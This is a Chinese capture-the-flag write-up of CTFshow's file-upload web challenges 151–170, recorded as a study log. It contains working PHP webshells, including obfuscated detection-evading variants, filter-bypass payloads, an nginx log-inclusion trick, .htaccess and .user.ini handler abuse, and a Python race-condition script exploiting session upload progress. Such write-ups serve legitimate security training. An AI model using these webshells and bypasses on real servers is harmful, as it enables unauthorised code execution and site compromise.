CTFSHOW 文件上传(学习记录)

Web 151

前端验证,抓包修改数据OK

Web 152

直接上传一句话木马,连接即可

Web 153

参考链接:

文件上传漏洞——.htaccess和.user.ini配置文件的应用

因为该环境是nginx搭建的,所以.htaccess不能使用。

Web 154

文件内容不能有php,可以双写绕过。

Web 155

采用php短标签:php短标签

Web 156

[ ] 被过滤,使用{ }进行代替。

<? eval($_POST{
    
    ctfshow});?>

Web 157

在此前基础上过滤了 {}
结合命令执行,构造图片木马:

<?=(system('nl ../f*.p*'))?>

查看页面源代码即可。

Web 158

同上一关,可以结合命令执行尝试不同的代码。

Web 159

可能过滤了一些命令执行函数吧,使用 `` 包裹就好:

<?=`nl ../f*.p*`?>

Web 160

接下来的题,边做边写。

先上传.user.ini:
在这里插入图片描述
然后上传ctf.png,木马多试一试,尝试使用之前的方法,发现空格被过滤,使用一些空格绕过的方法,报错:
在这里插入图片描述

既然是文件包含,尝试使用日志包含:
在这里插入图片描述
这里直接包含日志文件发现不行,查看师傅们的方法:学到了学到了。

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

然后在User-Agent头添加一句话木马,蚁剑连接:
在这里插入图片描述

Web 161

这些题做的头疼,没有提示,不知道每道题的考点是什么,文件上传
参考着师傅们的方法,复现吧。。。
这一关应该对上传的图片进行了判断。

1.添加图片头:GIF89a
在这里插入图片描述

2.制作图片木马:

copy 1.png/b + shell.php/a ctf.png

这个方法没成功…

Web 162-163

文件包含的竞争关系

参考:利用session.upload_progress进行文件包含和反序列化渗透

1.上传配置文件:但是不知道问什么,带文件名的时候就失败,所以直接上传png。
在这里插入图片描述

2.上传png:

拜了拜yu师傅的博客,参考一下脚本:

import requests
import threading

session = requests.session()
sess = 'ctfshow'
url1 = "http://ea6568d6-7c9e-4f10-9952-df2c188f01d5.chall.ctf.show/"
url2 = "http://ea6568d6-7c9e-4f10-9952-df2c188f01d5.chall.ctf.show/upload"
data1 = {
    
    
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
    
    
    'file': 'ctfshow'
}
cookies = {
    
    
    'PHPSESSID': sess
}


def write():
    while True:
        session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True:
        r = session.get(url2)
        if 'flag' in r.text:
            print(r.text)


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

Web 164

png格式的二次渲染,不太会…
参考链接:二次渲染

Web 165

jpg图片二次渲染。GG

Web 166

参考师傅们的博客,只能上传zip,那就上传zip:
1.上传zip文件,含一句木马:
在这里插入图片描述

2.访问zip文件地址:
修改为POST类型,传参,然后…报错,结束。

Web 167

格外显眼的标题。。。
在这里插入图片描述
上传.htaccess文件:

SetHandler application/x-httpd-php

在这里插入图片描述
上传jpg格式文件,写入一句话木马,getshell
在这里插入图片描述

Web 168-170

题目描述是免杀,对这些还不是很了解,参考yu师傅博客:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

但是不知道怎么利用…

猜你喜欢

转载自blog.csdn.net/qq_45742511/article/details/113823186